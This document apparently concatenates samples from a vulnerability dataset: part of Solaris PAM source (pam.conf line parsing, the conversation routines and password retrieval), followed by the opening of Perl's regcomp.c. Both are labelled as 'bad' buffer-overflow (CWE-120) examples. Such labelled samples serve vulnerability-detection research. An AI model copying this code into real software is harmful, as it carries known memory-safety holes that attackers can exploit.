*/ static char * nextline(struct pam_fh *pam_fh, pam_handle_t *pamh, int *err) { char *ll; int find_a_line = 0; char *data = pam_fh->data; char *bufferp = pam_fh->bufferp; char *bufferendp = &data[pam_fh->bufsize]; size_t input_len; /* * Skip the blank line, comment line */ while (!find_a_line) { /* if we are at the end of the buffer, there is no next line */ if (bufferp == bufferendp) return (NULL); /* skip blank line */ while (*bufferp == '\n') { /* * If we are at the end of the buffer, there is * no next line. */ if (++bufferp == bufferendp) { return (NULL); } /* else we check *bufferp again */ } /* skip comment line */ while (*bufferp == '#') { if ((ll = pam_conf_strnchr(bufferp, '\n', bufferendp - bufferp)) != NULL) { bufferp = ll; } else { /* * this comment line the last line. * no next line */ return (NULL); } /* * If we are at the end of the buffer, there is * no next line. */ if (bufferp == bufferendp) { return (NULL); } } if ((*bufferp != '\n') && (*bufferp != '#')) { find_a_line = 1; } } *err = PAM_SUCCESS; /* now we find one line */ if ((ll = pam_conf_strnchr(bufferp, '\n', bufferendp - bufferp)) != NULL) { if ((input_len = ll - bufferp) >= sizeof (pam_fh->line)) { __pam_log(LOG_AUTH | LOG_ERR, "nextline[%d:%s]: pam.conf line too long %.256s", pamh->include_depth, pam_trace_cname(pamh), bufferp); input_len = sizeof (pam_fh->line) - 1; *err = PAM_SERVICE_ERR; } (void) strncpy(pam_fh->line, bufferp, input_len); pam_fh->line[input_len] = '\0'; pam_fh->bufferp = ll++; } else { ll = bufferendp; if ((input_len = ll - bufferp) >= sizeof (pam_fh->line)) { __pam_log(LOG_AUTH | LOG_ERR, "nextline[%d:%s]: pam.conf line too long %.256s", pamh->include_depth, pam_trace_cname(pamh), bufferp); input_len = sizeof (pam_fh->line) - 1; *err = PAM_SERVICE_ERR; } (void) strncpy(pam_fh->line, bufferp, input_len); pam_fh->line[input_len] = '\0'; pam_fh->bufferp = ll; } return (pam_fh->line); } /* * verify_pam_conf - verify that the pam_conf entry is filled in. * * True = Error if there is no service. * True = Error if there is a service and it matches the requested service * but, the type, flag, line overflow, or path is in error. */ static int verify_pam_conf(pamtab_t *pam, char *service) { return ((pam->pam_service == (char *)NULL) || ((strcasecmp(pam->pam_service, service) == 0) && ((pam->pam_type == -1) || (pam->pam_flag == 0) || (pam->pam_err != PAM_SUCCESS) || (pam->module_path == (char *)NULL)))); } /* * Routines to free allocated storage */ /* * clean_up - free allocated storage in the pam handle */ static void clean_up(pam_handle_t *pamh) { int i; pam_repository_t *auth_rep; if (pamh) { while (pamh->include_depth >= 0) { free_pam_conf_info(pamh); pamh->include_depth--; } /* Cleanup PAM_REPOSITORY structure */ auth_rep = pamh->ps_item[PAM_REPOSITORY].pi_addr; if (auth_rep != NULL) { if (auth_rep->type != NULL) free(auth_rep->type); if (auth_rep->scope != NULL) free(auth_rep->scope); } for (i = 0; i < PAM_MAX_ITEMS; i++) { if (pamh->ps_item[i].pi_addr != NULL) { if (i == PAM_AUTHTOK || i == PAM_OLDAUTHTOK) { (void) memset(pamh->ps_item[i].pi_addr, 0, pamh->ps_item[i].pi_size); } free(pamh->ps_item[i].pi_addr); } } free(pamh); } } /* * free_pamconf - free memory used to store pam.conf entry */ static void free_pamconf(pamtab_t *cp) { int i; if (cp) { if (cp->pam_service) free(cp->pam_service); if (cp->module_path) free(cp->module_path); for (i = 0; i < cp->module_argc; i++) { if (cp->module_argv[i]) free(cp->module_argv[i]); } if (cp->module_argc > 0) free(cp->module_argv); if (cp->function_ptr) free(cp->function_ptr); free(cp); } } /* * free_pam_conf_info - free memory used to store all pam.conf info * under the pam handle */ static void free_pam_conf_info(pam_handle_t *pamh) { pamtab_t *pamentp; pamtab_t *pament_trail; int i = pamh->include_depth; int j; for (j = 0; j < PAM_NUM_MODULE_TYPES; j++) { pamentp = pamh->pam_conf_info[i][j]; pamh->pam_conf_info[i][j] = NULL; pament_trail = pamentp; while (pamentp) { pamentp = pamentp->next; free_pamconf(pament_trail); pament_trail = pamentp; } } if (pamh->pam_conf_name[i] != NULL) { free(pamh->pam_conf_name[i]); pamh->pam_conf_name[i] = NULL; } } static void free_env(env_list *pam_env) { if (pam_env) { if (pam_env->name) free(pam_env->name); if (pam_env->value) free(pam_env->value); free(pam_env); } } /* * Internal convenience functions for Solaris PAM service modules. */ #include <libintl.h> #include <nl_types.h> #include <synch.h> #include <locale.h> #include <thread.h> typedef struct pam_msg_data { nl_catd fd; } pam_msg_data_t; /* * free_resp(): * free storage for responses used in the call back "pam_conv" functions */ void free_resp(int num_msg, struct pam_response *resp) { int i; struct pam_response *r; if (resp) { r = resp; for (i = 0; i < num_msg; i++, r++) { if (r->resp) { /* clear before freeing -- may be a password */ bzero(r->resp, strlen(r->resp)); free(r->resp); r->resp = NULL; } } free(resp); } } static int do_conv(pam_handle_t *pamh, int msg_style, int num_msg, char messages[PAM_MAX_NUM_MSG][PAM_MAX_MSG_SIZE], void *conv_apdp, struct pam_response *ret_respp[]) { struct pam_message *msg; struct pam_message *m; int i; int k; int retcode; struct pam_conv *pam_convp; if ((retcode = pam_get_item(pamh, PAM_CONV, (void **)&pam_convp)) != PAM_SUCCESS) { return (retcode); } /* * When pam_set_item() is called to set PAM_CONV and the * item is NULL, memset(pip->pi_addr, 0, size) is called. * So at this point, we should check whether pam_convp->conv * is NULL or not. */ if ((pam_convp == NULL) || (pam_convp->conv == NULL)) return (PAM_SYSTEM_ERR); i = 0; k = num_msg; msg = calloc(num_msg, sizeof (struct pam_message)); if (msg == NULL) { return (PAM_BUF_ERR); } m = msg; while (k--) { /* * fill out the message structure to display prompt message */ m->msg_style = msg_style; m->msg = messages[i]; pam_trace(PAM_DEBUG_CONV, "pam_conv_msg(%p:%d[%d]=%s)", (void *)pamh, msg_style, i, messages[i]); m++; i++; } /* * The UNIX pam modules always calls __pam_get_authtok() and * __pam_display_msg() with a NULL pointer as the conv_apdp. * In case the conv_apdp is NULL and the pam_convp->appdata_ptr * is not NULL, we should pass the pam_convp->appdata_ptr * to the conversation function. */ if (conv_apdp == NULL && pam_convp->appdata_ptr != NULL) conv_apdp = pam_convp->appdata_ptr; /* * Call conv function to display the prompt. */ retcode = (pam_convp->conv)(num_msg, &msg, ret_respp, conv_apdp); pam_trace(PAM_DEBUG_CONV, "pam_conv_resp(%p pam_conv = %s) ret_respp = %p", (void *)pamh, pam_strerror(pamh, retcode), (void *)ret_respp); if (*ret_respp == NULL) { pam_trace(PAM_DEBUG_CONV, "pam_conv_resp(%p No response requested)", (void *)pamh); } else if ((pam_debug & (PAM_DEBUG_CONV | PAM_DEBUG_AUTHTOK)) != 0) { struct pam_response *r = *ret_respp; for (i = 0; i < num_msg; i++, r++) { if (r->resp == NULL) { pam_trace(PAM_DEBUG_CONV, "pam_conv_resp(%p:" "[%d] NULL response string)", (void *)pamh, i); } else { if (msg_style == PAM_PROMPT_ECHO_OFF) { #ifdef DEBUG pam_trace(PAM_DEBUG_AUTHTOK, "pam_conv_resp(%p:[%d]=%s, " "code=%d)", (void *)pamh, i, r->resp, r->resp_retcode); #endif /* DEBUG */ pam_trace(PAM_DEBUG_CONV, "pam_conv_resp(%p:[%d] len=%lu, " "code=%d)", (void *)pamh, i, (ulong_t)strlen(r->resp), r->resp_retcode); } else { pam_trace(PAM_DEBUG_CONV, "pam_conv_resp(%p:[%d]=%s, " "code=%d)", (void *)pamh, i, r->resp, r->resp_retcode); } } } } if (msg) free(msg); return (retcode); } /* * __pam_display_msg(): * display message by calling the call back functions * provided by the application through "pam_conv" structure */ int __pam_display_msg(pam_handle_t *pamh, int msg_style, int num_msg, char messages[PAM_MAX_NUM_MSG][PAM_MAX_MSG_SIZE], void *conv_apdp) { struct pam_response *ret_respp = NULL; int ret; ret = do_conv(pamh, msg_style, num_msg, messages, conv_apdp, &ret_respp); if (ret_respp != NULL) free_resp(num_msg, ret_respp); return (ret); } /* * __pam_get_authtok() * retrieves a password of at most PASS_MAX length from the pam * handle (pam_get_item) or from the input stream (do_conv). * * This function allocates memory for the new authtok. * Applications calling this function are responsible for * freeing this memory. * * If "source" is * PAM_HANDLE * and "type" is: * PAM_AUTHTOK - password is taken from pam handle (PAM_AUTHTOK) * PAM_OLDAUTHTOK - password is taken from pam handle (PAM_OLDAUTHTOK) * * If "source" is * PAM_PROMPT * and "type" is: * 0: Prompt for new passwd, do not even attempt * to store it in the pam handle. * PAM_AUTHTOK: Prompt for new passwd, store in pam handle as * PAM_AUTHTOK item if this value is not already set. * PAM_OLDAUTHTOK: Prompt for new passwd, store in pam handle as * PAM_OLDAUTHTOK item if this value is not * already set. */ int __pam_get_authtok(pam_handle_t *pamh, int source, int type, char *prompt, char **authtok) { int error = PAM_SYSTEM_ERR; char *new_password = NULL; struct pam_response *ret_resp = NULL; char messages[PAM_MAX_NUM_MSG][PAM_MAX_MSG_SIZE]; if ((*authtok = calloc(PASS_MAX+1, sizeof (char))) == NULL) return (PAM_BUF_ERR); if (prompt == NULL) prompt = dgettext(TEXT_DOMAIN, "password: "); switch (source) { case PAM_HANDLE: /* get password from pam handle item list */ switch (type) { case PAM_AUTHTOK: case PAM_OLDAUTHTOK: if ((error = pam_get_item(pamh, type, (void **)&new_password)) != PAM_SUCCESS) goto err_ret; if (new_password == NULL || new_password[0] == '\0') { free(*authtok); *authtok = NULL; } else { (void) strlcpy(*authtok, new_password, PASS_MAX+1); } break; default: __pam_log(LOG_AUTH | LOG_ERR, "__pam_get_authtok() invalid type: %d", type); error = PAM_SYMBOL_ERR; goto err_ret; } break; case PAM_PROMPT: /* * Prompt for new password and save in pam handle item list * if the that item is not already set. */ (void) strncpy(messages[0], prompt, sizeof (messages[0])); if ((error = do_conv(pamh, PAM_PROMPT_ECHO_OFF, 1, messages, NULL, &ret_resp)) != PAM_SUCCESS) goto err_ret; if (ret_resp->resp == NULL) { /* getpass didn't return anything */ error = PAM_SYSTEM_ERR; goto err_ret; } /* save the new password if this item was NULL */ if (type) { if ((error = pam_get_item(pamh, type, (void **)&new_password)) != PAM_SUCCESS) { free_resp(1, ret_resp); goto err_ret; } if (new_password == NULL) (void) pam_set_item(pamh, type, ret_resp->resp); } (void) strlcpy(*authtok, ret_resp->resp, PASS_MAX+1); free_resp(1, ret_resp); break; default: __pam_log(LOG_AUTH | LOG_ERR, "__pam_get_authtok() invalid source: %d", source); error = PAM_SYMBOL_ERR; goto err_ret; } return (PAM_SUCCESS); err_ret: bzero(*authtok, PASS_MAX+1); free(*authtok); *authtok = NULL; return (error); }
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4424_0
crossvul-cpp_data_bad_4012_3
/* regcomp.c */ /* * 'A fair jaw-cracker dwarf-language must be.' --Samwise Gamgee * * [p.285 of _The Lord of the Rings_, II/iii: "The Ring Goes South"] */ /* This file contains functions for compiling a regular expression. See * also regexec.c which funnily enough, contains functions for executing * a regular expression. * * This file is also copied at build time to ext/re/re_comp.c, where * it's built with -DPERL_EXT_RE_BUILD -DPERL_EXT_RE_DEBUG -DPERL_EXT. * This causes the main functions to be compiled under new names and with * debugging support added, which makes "use re 'debug'" work. */ /* NOTE: this is derived from Henry Spencer's regexp code, and should not * confused with the original package (see point 3 below). Thanks, Henry! */ /* Additional note: this code is very heavily munged from Henry's version * in places. In some spots I've traded clarity for efficiency, so don't * blame Henry for some of the lack of readability. */ /* The names of the functions have been changed from regcomp and * regexec to pregcomp and pregexec in order to avoid conflicts * with the POSIX routines of the same names. */ #ifdef PERL_EXT_RE_BUILD #include "re_top.h" #endif /* * pregcomp and pregexec -- regsub and regerror are not used in perl * * Copyright (c) 1986 by University of Toronto. * Written by Henry Spencer. Not derived from licensed software. * * Permission is granted to anyone to use this software for any * purpose on any computer system, and to redistribute it freely, * subject to the following restrictions: * * 1. The author is not responsible for the consequences of use of * this software, no matter how awful, even if they arise * from defects in it. * * 2. The origin of this software must not be misrepresented, either * by explicit claim or by omission. * * 3. Altered versions must be plainly marked as such, and must not * be misrepresented as being the original software. * * **** Alterations to Henry's code are... **** **** Copyright (C) 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, **** 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 **** by Larry Wall and others **** **** You may distribute under the terms of either the GNU General Public **** License or the Artistic License, as specified in the README file. * * Beware that some of this code is subtly aware of the way operator * precedence is structured in regular expressions. Serious changes in * regular-expression syntax might require a total rethink. */ #include "EXTERN.h" #define PERL_IN_REGCOMP_C #include "perl.h" #define REG_COMP_C #ifdef PERL_IN_XSUB_RE # include "re_comp.h" EXTERN_C const struct regexp_engine my_reg_engine; #else # include "regcomp.h" #endif #include "dquote_inline.h" #include "invlist_inline.h" #include "unicode_constants.h" #define HAS_NONLATIN1_FOLD_CLOSURE(i) \ _HAS_NONLATIN1_FOLD_CLOSURE_ONLY_FOR_USE_BY_REGCOMP_DOT_C_AND_REGEXEC_DOT_C(i) #define HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(i) \ _HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE_ONLY_FOR_USE_BY_REGCOMP_DOT_C_AND_REGEXEC_DOT_C(i) #define IS_NON_FINAL_FOLD(c) _IS_NON_FINAL_FOLD_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) #define IS_IN_SOME_FOLD_L1(c) _IS_IN_SOME_FOLD_ONLY_FOR_USE_BY_REGCOMP_DOT_C(c) #ifndef STATIC #define STATIC static #endif /* this is a chain of data about sub patterns we are processing that need to be handled separately/specially in study_chunk. Its so we can simulate recursion without losing state. */ struct scan_frame; typedef struct scan_frame { regnode *last_regnode; /* last node to process in this frame */ regnode *next_regnode; /* next node to process when last is reached */ U32 prev_recursed_depth; I32 stopparen; /* what stopparen do we use */ struct scan_frame *this_prev_frame; /* this previous frame */ struct scan_frame *prev_frame; /* previous frame */ struct scan_frame *next_frame; /* next frame */ } scan_frame; /* Certain characters are output as a sequence with the first being a * backslash. */ #define isBACKSLASHED_PUNCT(c) strchr("-[]\\^", c) struct RExC_state_t { U32 flags; /* RXf_* are we folding, multilining? */ U32 pm_flags; /* PMf_* stuff from the calling PMOP */ char *precomp; /* uncompiled string. */ char *precomp_end; /* pointer to end of uncompiled string. */ REGEXP *rx_sv; /* The SV that is the regexp. */ regexp *rx; /* perl core regexp structure */ regexp_internal *rxi; /* internal data for regexp object pprivate field */ char *start; /* Start of input for compile */ char *end; /* End of input for compile */ char *parse; /* Input-scan pointer. */ char *copy_start; /* start of copy of input within constructed parse string */ char *save_copy_start; /* Provides one level of saving and restoring 'copy_start' */ char *copy_start_in_input; /* Position in input string corresponding to copy_start */ SSize_t whilem_seen; /* number of WHILEM in this expr */ regnode *emit_start; /* Start of emitted-code area */ regnode_offset emit; /* Code-emit pointer */ I32 naughty; /* How bad is this pattern? */ I32 sawback; /* Did we see \1, ...? */ U32 seen; SSize_t size; /* Number of regnode equivalents in pattern */ /* position beyond 'precomp' of the warning message furthest away from * 'precomp'. During the parse, no warnings are raised for any problems * earlier in the parse than this position. This works if warnings are * raised the first time a given spot is parsed, and if only one * independent warning is raised for any given spot */ Size_t latest_warn_offset; I32 npar; /* Capture buffer count so far in the parse, (OPEN) plus one. ("par" 0 is the whole pattern)*/ I32 total_par; /* During initial parse, is either 0, or -1; the latter indicating a reparse is needed. After that pass, it is what 'npar' became after the pass. Hence, it being > 0 indicates we are in a reparse situation */ I32 nestroot; /* root parens we are in - used by accept */ I32 seen_zerolen; regnode_offset *open_parens; /* offsets to open parens */ regnode_offset *close_parens; /* offsets to close parens */ I32 parens_buf_size; /* #slots malloced open/close_parens */ regnode *end_op; /* END node in program */ I32 utf8; /* whether the pattern is utf8 or not */ I32 orig_utf8; /* whether the pattern was originally in utf8 */ /* XXX use this for future optimisation of case * where pattern must be upgraded to utf8. */ I32 uni_semantics; /* If a d charset modifier should use unicode rules, even if the pattern is not in utf8 */ HV *paren_names; /* Paren names */ regnode **recurse; /* Recurse regops */ I32 recurse_count; /* Number of recurse regops we have generated */ U8 *study_chunk_recursed; /* bitmap of which subs we have moved through */ U32 study_chunk_recursed_bytes; /* bytes in bitmap */ I32 in_lookbehind; I32 contains_locale; I32 override_recoding; #ifdef EBCDIC I32 recode_x_to_native; #endif I32 in_multi_char_class; struct reg_code_blocks *code_blocks;/* positions of literal (?{}) within pattern */ int code_index; /* next code_blocks[] slot */ SSize_t maxlen; /* mininum possible number of chars in string to match */ scan_frame *frame_head; scan_frame *frame_last; U32 frame_count; AV *warn_text; HV *unlexed_names; #ifdef ADD_TO_REGEXEC char *starttry; /* -Dr: where regtry was called. */ #define RExC_starttry (pRExC_state->starttry) #endif SV *runtime_code_qr; /* qr with the runtime code blocks */ #ifdef DEBUGGING const char *lastparse; I32 lastnum; AV *paren_name_list; /* idx -> name */ U32 study_chunk_recursed_count; SV *mysv1; SV *mysv2; #define RExC_lastparse (pRExC_state->lastparse) #define RExC_lastnum (pRExC_state->lastnum) #define RExC_paren_name_list (pRExC_state->paren_name_list) #define RExC_study_chunk_recursed_count (pRExC_state->study_chunk_recursed_count) #define RExC_mysv (pRExC_state->mysv1) #define RExC_mysv1 (pRExC_state->mysv1) #define RExC_mysv2 (pRExC_state->mysv2) #endif bool seen_d_op; bool strict; bool study_started; bool in_script_run; bool use_BRANCHJ; }; #define RExC_flags (pRExC_state->flags) #define RExC_pm_flags (pRExC_state->pm_flags) #define RExC_precomp (pRExC_state->precomp) #define RExC_copy_start_in_input (pRExC_state->copy_start_in_input) #define RExC_copy_start_in_constructed (pRExC_state->copy_start) #define RExC_save_copy_start_in_constructed (pRExC_state->save_copy_start) #define RExC_precomp_end (pRExC_state->precomp_end) #define RExC_rx_sv (pRExC_state->rx_sv) #define RExC_rx (pRExC_state->rx) #define RExC_rxi (pRExC_state->rxi) #define RExC_start (pRExC_state->start) #define RExC_end (pRExC_state->end) #define RExC_parse (pRExC_state->parse) #define RExC_latest_warn_offset (pRExC_state->latest_warn_offset ) #define RExC_whilem_seen (pRExC_state->whilem_seen) #define RExC_seen_d_op (pRExC_state->seen_d_op) /* Seen something that differs under /d from /u ? */ #ifdef RE_TRACK_PATTERN_OFFSETS # define RExC_offsets (RExC_rxi->u.offsets) /* I am not like the others */ #endif #define RExC_emit (pRExC_state->emit) #define RExC_emit_start (pRExC_state->emit_start) #define RExC_sawback (pRExC_state->sawback) #define RExC_seen (pRExC_state->seen) #define RExC_size (pRExC_state->size) #define RExC_maxlen (pRExC_state->maxlen) #define RExC_npar (pRExC_state->npar) #define RExC_total_parens (pRExC_state->total_par) #define RExC_parens_buf_size (pRExC_state->parens_buf_size) #define RExC_nestroot (pRExC_state->nestroot) #define RExC_seen_zerolen (pRExC_state->seen_zerolen) #define RExC_utf8 (pRExC_state->utf8) #define RExC_uni_semantics (pRExC_state->uni_semantics) #define RExC_orig_utf8 (pRExC_state->orig_utf8) #define RExC_open_parens (pRExC_state->open_parens) #define RExC_close_parens (pRExC_state->close_parens) #define RExC_end_op (pRExC_state->end_op) #define RExC_paren_names (pRExC_state->paren_names) #define RExC_recurse (pRExC_state->recurse) #define RExC_recurse_count (pRExC_state->recurse_count) #define RExC_study_chunk_recursed (pRExC_state->study_chunk_recursed) #define RExC_study_chunk_recursed_bytes \ (pRExC_state->study_chunk_recursed_bytes) #define RExC_in_lookbehind (pRExC_state->in_lookbehind) #define RExC_contains_locale (pRExC_state->contains_locale) #ifdef EBCDIC # define RExC_recode_x_to_native (pRExC_state->recode_x_to_native) #endif #define RExC_in_multi_char_class (pRExC_state->in_multi_char_class) #define RExC_frame_head (pRExC_state->frame_head) #define RExC_frame_last (pRExC_state->frame_last) #define RExC_frame_count (pRExC_state->frame_count) #define RExC_strict (pRExC_state->strict) #define RExC_study_started (pRExC_state->study_started) #define RExC_warn_text (pRExC_state->warn_text) #define RExC_in_script_run (pRExC_state->in_script_run) #define RExC_use_BRANCHJ (pRExC_state->use_BRANCHJ) #define RExC_unlexed_names (pRExC_state->unlexed_names) /* Heuristic check on the complexity of the pattern: if TOO_NAUGHTY, we set * a flag to disable back-off on the fixed/floating substrings - if it's * a high complexity pattern we assume the benefit of avoiding a full match * is worth the cost of checking for the substrings even if they rarely help. */ #define RExC_naughty (pRExC_state->naughty) #define TOO_NAUGHTY (10) #define MARK_NAUGHTY(add) \ if (RExC_naughty < TOO_NAUGHTY) \ RExC_naughty += (add) #define MARK_NAUGHTY_EXP(exp, add) \ if (RExC_naughty < TOO_NAUGHTY) \ RExC_naughty += RExC_naughty / (exp) + (add) #define ISMULT1(c) ((c) == '*' || (c) == '+' || (c) == '?') #define ISMULT2(s) ((*s) == '*' || (*s) == '+' || (*s) == '?' || \ ((*s) == '{' && regcurly(s))) /* * Flags to be passed up and down. */ #define WORST 0 /* Worst case. */ #define HASWIDTH 0x01 /* Known to not match null strings, could match non-null ones. */ /* Simple enough to be STAR/PLUS operand; in an EXACTish node must be a single * character. (There needs to be a case: in the switch statement in regexec.c * for any node marked SIMPLE.) Note that this is not the same thing as * REGNODE_SIMPLE */ #define SIMPLE 0x02 #define SPSTART 0x04 /* Starts with * or + */ #define POSTPONED 0x08 /* (?1),(?&name), (??{...}) or similar */ #define TRYAGAIN 0x10 /* Weeded out a declaration. */ #define RESTART_PARSE 0x20 /* Need to redo the parse */ #define NEED_UTF8 0x40 /* In conjunction with RESTART_PARSE, need to calcuate sizes as UTF-8 */ #define REG_NODE_NUM(x) ((x) ? (int)((x)-RExC_emit_start) : -1) /* whether trie related optimizations are enabled */ #if PERL_ENABLE_EXTENDED_TRIE_OPTIMISATION #define TRIE_STUDY_OPT #define FULL_TRIE_STUDY #define TRIE_STCLASS #endif #define PBYTE(u8str,paren) ((U8*)(u8str))[(paren) >> 3] #define PBITVAL(paren) (1 << ((paren) & 7)) #define PAREN_TEST(u8str,paren) ( PBYTE(u8str,paren) & PBITVAL(paren)) #define PAREN_SET(u8str,paren) PBYTE(u8str,paren) |= PBITVAL(paren) #define PAREN_UNSET(u8str,paren) PBYTE(u8str,paren) &= (~PBITVAL(paren)) #define REQUIRE_UTF8(flagp) STMT_START { \ if (!UTF) { \ *flagp = RESTART_PARSE|NEED_UTF8; \ return 0; \ } \ } STMT_END /* Change from /d into /u rules, and restart the parse. RExC_uni_semantics is * a flag that indicates we need to override /d with /u as a result of * something in the pattern. It should only be used in regards to calling * set_regex_charset() or get_regex_charse() */ #define REQUIRE_UNI_RULES(flagp, restart_retval) \ STMT_START { \ if (DEPENDS_SEMANTICS) { \ set_regex_charset(&RExC_flags, REGEX_UNICODE_CHARSET); \ RExC_uni_semantics = 1; \ if (RExC_seen_d_op && LIKELY(! IN_PARENS_PASS)) { \ /* No need to restart the parse if we haven't seen \ * anything that differs between /u and /d, and no need \ * to restart immediately if we're going to reparse \ * anyway to count parens */ \ *flagp |= RESTART_PARSE; \ return restart_retval; \ } \ } \ } STMT_END #define REQUIRE_BRANCHJ(flagp, restart_retval) \ STMT_START { \ RExC_use_BRANCHJ = 1; \ *flagp |= RESTART_PARSE; \ return restart_retval; \ } STMT_END /* Until we have completed the parse, we leave RExC_total_parens at 0 or * less. After that, it must always be positive, because the whole re is * considered to be surrounded by virtual parens. Setting it to negative * indicates there is some construct that needs to know the actual number of * parens to be properly handled. And that means an extra pass will be * required after we've counted them all */ #define ALL_PARENS_COUNTED (RExC_total_parens > 0) #define REQUIRE_PARENS_PASS \ STMT_START { /* No-op if have completed a pass */ \ if (! ALL_PARENS_COUNTED) RExC_total_parens = -1; \ } STMT_END #define IN_PARENS_PASS (RExC_total_parens < 0) /* This is used to return failure (zero) early from the calling function if * various flags in 'flags' are set. Two flags always cause a return: * 'RESTART_PARSE' and 'NEED_UTF8'. 'extra' can be used to specify any * additional flags that should cause a return; 0 if none. If the return will * be done, '*flagp' is first set to be all of the flags that caused the * return. */ #define RETURN_FAIL_ON_RESTART_OR_FLAGS(flags,flagp,extra) \ STMT_START { \ if ((flags) & (RESTART_PARSE|NEED_UTF8|(extra))) { \ *(flagp) = (flags) & (RESTART_PARSE|NEED_UTF8|(extra)); \ return 0; \ } \ } STMT_END #define MUST_RESTART(flags) ((flags) & (RESTART_PARSE)) #define RETURN_FAIL_ON_RESTART(flags,flagp) \ RETURN_FAIL_ON_RESTART_OR_FLAGS( flags, flagp, 0) #define RETURN_FAIL_ON_RESTART_FLAGP(flagp) \ if (MUST_RESTART(*(flagp))) return 0 /* This converts the named class defined in regcomp.h to its equivalent class * number defined in handy.h. */ #define namedclass_to_classnum(class) ((int) ((class) / 2)) #define classnum_to_namedclass(classnum) ((classnum) * 2) #define _invlist_union_complement_2nd(a, b, output) \ _invlist_union_maybe_complement_2nd(a, b, TRUE, output) #define _invlist_intersection_complement_2nd(a, b, output) \ _invlist_intersection_maybe_complement_2nd(a, b, TRUE, output) /* About scan_data_t. During optimisation we recurse through the regexp program performing various inplace (keyhole style) optimisations. In addition study_chunk and scan_commit populate this data structure with information about what strings MUST appear in the pattern. We look for the longest string that must appear at a fixed location, and we look for the longest string that may appear at a floating location. So for instance in the pattern: /FOO[xX]A.*B[xX]BAR/ Both 'FOO' and 'A' are fixed strings. Both 'B' and 'BAR' are floating strings (because they follow a .* construct). study_chunk will identify both FOO and BAR as being the longest fixed and floating strings respectively. The strings can be composites, for instance /(f)(o)(o)/ will result in a composite fixed substring 'foo'. For each string some basic information is maintained: - min_offset This is the position the string must appear at, or not before. It also implicitly (when combined with minlenp) tells us how many characters must match before the string we are searching for. Likewise when combined with minlenp and the length of the string it tells us how many characters must appear after the string we have found. - max_offset Only used for floating strings. This is the rightmost point that the string can appear at. If set to SSize_t_MAX it indicates that the string can occur infinitely far to the right. For fixed strings, it is equal to min_offset. - minlenp A pointer to the minimum number of characters of the pattern that the string was found inside. This is important as in the case of positive lookahead or positive lookbehind we can have multiple patterns involved. Consider /(?=FOO).*F/ The minimum length of the pattern overall is 3, the minimum length of the lookahead part is 3, but the minimum length of the part that will actually match is 1. So 'FOO's minimum length is 3, but the minimum length for the F is 1. This is important as the minimum length is used to determine offsets in front of and behind the string being looked for. Since strings can be composites this is the length of the pattern at the time it was committed with a scan_commit. Note that the length is calculated by study_chunk, so that the minimum lengths are not known until the full pattern has been compiled, thus the pointer to the value. - lookbehind In the case of lookbehind the string being searched for can be offset past the start point of the final matching string. If this value was just blithely removed from the min_offset it would invalidate some of the calculations for how many chars must match before or after (as they are derived from min_offset and minlen and the length of the string being searched for). When the final pattern is compiled and the data is moved from the scan_data_t structure into the regexp structure the information about lookbehind is factored in, with the information that would have been lost precalculated in the end_shift field for the associated string. The fields pos_min and pos_delta are used to store the minimum offset and the delta to the maximum offset at the current point in the pattern. */ struct scan_data_substrs { SV *str; /* longest substring found in pattern */ SSize_t min_offset; /* earliest point in string it can appear */ SSize_t max_offset; /* latest point in string it can appear */ SSize_t *minlenp; /* pointer to the minlen relevant to the string */ SSize_t lookbehind; /* is the pos of the string modified by LB */ I32 flags; /* per substring SF_* and SCF_* flags */ }; typedef struct scan_data_t { /*I32 len_min; unused */ /*I32 len_delta; unused */ SSize_t pos_min; SSize_t pos_delta; SV *last_found; SSize_t last_end; /* min value, <0 unless valid. */ SSize_t last_start_min; SSize_t last_start_max; U8 cur_is_floating; /* whether the last_* values should be set as * the next fixed (0) or floating (1) * substring */ /* [0] is longest fixed substring so far, [1] is longest float so far */ struct scan_data_substrs substrs[2]; I32 flags; /* common SF_* and SCF_* flags */ I32 whilem_c; SSize_t *last_closep; regnode_ssc *start_class; } scan_data_t; /* * Forward declarations for pregcomp()'s friends. */ static const scan_data_t zero_scan_data = { 0, 0, NULL, 0, 0, 0, 0, { { NULL, 0, 0, 0, 0, 0 }, { NULL, 0, 0, 0, 0, 0 }, }, 0, 0, NULL, NULL }; /* study flags */ #define SF_BEFORE_SEOL 0x0001 #define SF_BEFORE_MEOL 0x0002 #define SF_BEFORE_EOL (SF_BEFORE_SEOL|SF_BEFORE_MEOL) #define SF_IS_INF 0x0040 #define SF_HAS_PAR 0x0080 #define SF_IN_PAR 0x0100 #define SF_HAS_EVAL 0x0200 /* SCF_DO_SUBSTR is the flag that tells the regexp analyzer to track the * longest substring in the pattern. When it is not set the optimiser keeps * track of position, but does not keep track of the actual strings seen, * * So for instance /foo/ will be parsed with SCF_DO_SUBSTR being true, but * /foo/i will not. * * Similarly, /foo.*(blah|erm|huh).*fnorble/ will have "foo" and "fnorble" * parsed with SCF_DO_SUBSTR on, but while processing the (...) it will be * turned off because of the alternation (BRANCH). */ #define SCF_DO_SUBSTR 0x0400 #define SCF_DO_STCLASS_AND 0x0800 #define SCF_DO_STCLASS_OR 0x1000 #define SCF_DO_STCLASS (SCF_DO_STCLASS_AND|SCF_DO_STCLASS_OR) #define SCF_WHILEM_VISITED_POS 0x2000 #define SCF_TRIE_RESTUDY 0x4000 /* Do restudy? */ #define SCF_SEEN_ACCEPT 0x8000 #define SCF_TRIE_DOING_RESTUDY 0x10000 #define SCF_IN_DEFINE 0x20000 #define UTF cBOOL(RExC_utf8) /* The enums for all these are ordered so things work out correctly */ #define LOC (get_regex_charset(RExC_flags) == REGEX_LOCALE_CHARSET) #define DEPENDS_SEMANTICS (get_regex_charset(RExC_flags) \ == REGEX_DEPENDS_CHARSET) #define UNI_SEMANTICS (get_regex_charset(RExC_flags) == REGEX_UNICODE_CHARSET) #define AT_LEAST_UNI_SEMANTICS (get_regex_charset(RExC_flags) \ >= REGEX_UNICODE_CHARSET) #define ASCII_RESTRICTED (get_regex_charset(RExC_flags) \ == REGEX_ASCII_RESTRICTED_CHARSET) #define AT_LEAST_ASCII_RESTRICTED (get_regex_charset(RExC_flags) \ >= REGEX_ASCII_RESTRICTED_CHARSET) #define ASCII_FOLD_RESTRICTED (get_regex_charset(RExC_flags) \ == REGEX_ASCII_MORE_RESTRICTED_CHARSET) #define FOLD cBOOL(RExC_flags & RXf_PMf_FOLD) /* For 